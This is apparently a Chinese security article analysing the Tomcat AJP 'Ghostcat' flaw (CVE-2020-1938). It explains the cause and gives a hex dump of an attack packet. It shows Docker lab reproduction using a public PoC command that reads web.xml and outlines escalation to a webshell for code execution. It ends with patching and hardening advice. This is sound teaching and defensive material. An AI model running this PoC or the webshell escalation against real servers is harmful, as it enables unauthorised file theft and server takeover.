漏洞深度剖析:从CVE-2020-1938看Tomcat AJP协议的安全攻防
1. 漏洞背景与影响范围CVE-2020-1938这个漏洞在安全圈里有个更形象的名字——幽灵猫。我第一次听说这个漏洞时正在给客户做安全评估突然发现内网好几台Tomcat服务器都中招了。这个漏洞之所以危险是因为它利用了Tomcat默认开启的AJP协议攻击者不需要任何认证就能读取服务器上的敏感文件。AJP协议全称Apache JServ Protocol是Tomcat为了与其他Web服务器比如Apache HTTPD高效通信而设计的二进制协议。默认情况下Tomcat安装后会开启8009端口监听AJP请求。问题就出在这个协议的设计上——它没有对请求做足够的权限校验导致攻击者可以构造特殊的数据包来读取任意文件。受影响的版本范围相当广Tomcat 6全系列Tomcat 7 7.0.100Tomcat 8 8.5.51Tomcat 9 9.0.31我在实际渗透测试中发现很多企业还在使用Tomcat 8.5.x的老版本这就给攻击者留下了可乘之机。最要命的是如果目标服务器还允许文件上传这个文件读取漏洞很可能升级为远程代码执行RCE相当于拿到了服务器的完全控制权。2. AJP协议的工作原理与漏洞成因2.1 AJP协议的工作机制要理解这个漏洞得先搞清楚AJP协议是怎么工作的。我抓过几次AJP协议的数据包发现它和HTTP协议最大的不同在于采用二进制格式传输数据使用持久化连接默认不加密通信内容当Tomcat收到AJP请求时会按照以下流程处理解析请求头中的属性比如请求路径、参数等根据属性定位到对应的Web应用执行相应的Servlet处理逻辑返回响应数据漏洞就出在第一步——Tomcat对AJP请求中的javax.servlet.include.path_info和javax.servlet.include.servlet_path这两个属性没有做严格校验。攻击者可以构造特殊的属性值让Tomcat误以为是在处理一个文件包含请求。2.2 漏洞利用的关键点我分析过漏洞利用的POC代码发现攻击者主要利用了以下几个特性通过AJP协议的forward_request消息类型发送请求在请求属性中设置javax.servlet.include.*系列参数通过req_attribute字段控制文件路径一个典型的攻击数据包长这样简化版0x0000: 02 03 00 01 0a 00 00 00 01 00 1a 6a 61 76 61 78 0x0010: 2e 73 65 72 76 6c 65 74 2e 69 6e 63 6c 75 64 65 0x0020: 2e 70 61 74 68 5f 69 6e 66 6f 00 01 2f 00 1b 6a 0x0030: 61 76 61 78 2e 73 65 72 76 6c 65 74 2e 69 6e 63 0x0040: 6c 75 64 65 2e 73 65 72 76 6c 65 74 5f 70 61 74 0x0050: 68 00 01 2f这个数据包的关键在于设置了javax.servlet.include.path_info属性指定了要读取的文件路径利用了Tomcat对属性值的信任机制3. 漏洞复现实战演示3.1 环境搭建我在本地用Docker搭建了漏洞复现环境具体步骤如下拉取存在漏洞的Tomcat镜像docker pull tomcat:8.5.32启动容器并映射端口docker run -d -p 8080:8080 -p 8009:8009 --name vulnerable_tomcat tomcat:8.5.32验证服务是否正常运行curl http://localhost:80803.2 漏洞验证使用公开的POC脚本进行测试下载POC工具git clone https://github.com/YDHCUI/CNVD-2020-10488-Tomcat-Ajp-lfi执行漏洞检测python CNVD-2020-10488-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f /WEB-INF/web.xml如果漏洞存在会返回web.xml文件内容?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 display-nameWelcome to Tomcat/display-name description Welcome to Tomcat /description /web-app3.3 进阶利用如果目标服务器允许文件上传可以尝试升级为RCE上传一个包含恶意代码的JSP文件通过AJP协议包含这个文件触发恶意代码执行我曾在一次渗透测试中利用这个漏洞成功获取了目标服务器的shell。具体步骤是先上传一个webshell到服务器的临时目录然后通过AJP协议包含这个webshell最后通过webshell执行系统命令4. 防御措施与修复方案4.1 临时解决方案如果暂时无法升级Tomcat版本可以采取以下措施禁用AJP协议 修改conf/server.xml文件注释掉AJP连接器配置!-- Connector port8009 protocolAJP/1.3 redirectPort8443 / --配置AJP认证 如果必须使用AJP协议可以启用认证机制Connector port8009 protocolAJP/1.3 redirectPort8443 secretRequiredtrue secretyour_secure_password /4.2 永久修复方案最安全的做法是升级到修复版本Tomcat 7.0.100Tomcat 8.5.51Tomcat 9.0.31升级步骤备份当前配置和部署的应用下载新版本Tomcat停止旧版本服务部署新版本并恢复配置测试应用是否正常运行4.3 安全加固建议根据我的经验除了修复这个特定漏洞外还应该定期更新Tomcat和其他中间件限制AJP协议的访问源IP启用Tomcat的安全管理器配置严格的文件系统权限部署WAF等防护设备我在给客户做安全加固时通常会建议他们采用最小权限原则只开放必要的端口和服务。对于Tomcat来说如果不需要AJP协议最好彻底禁用它。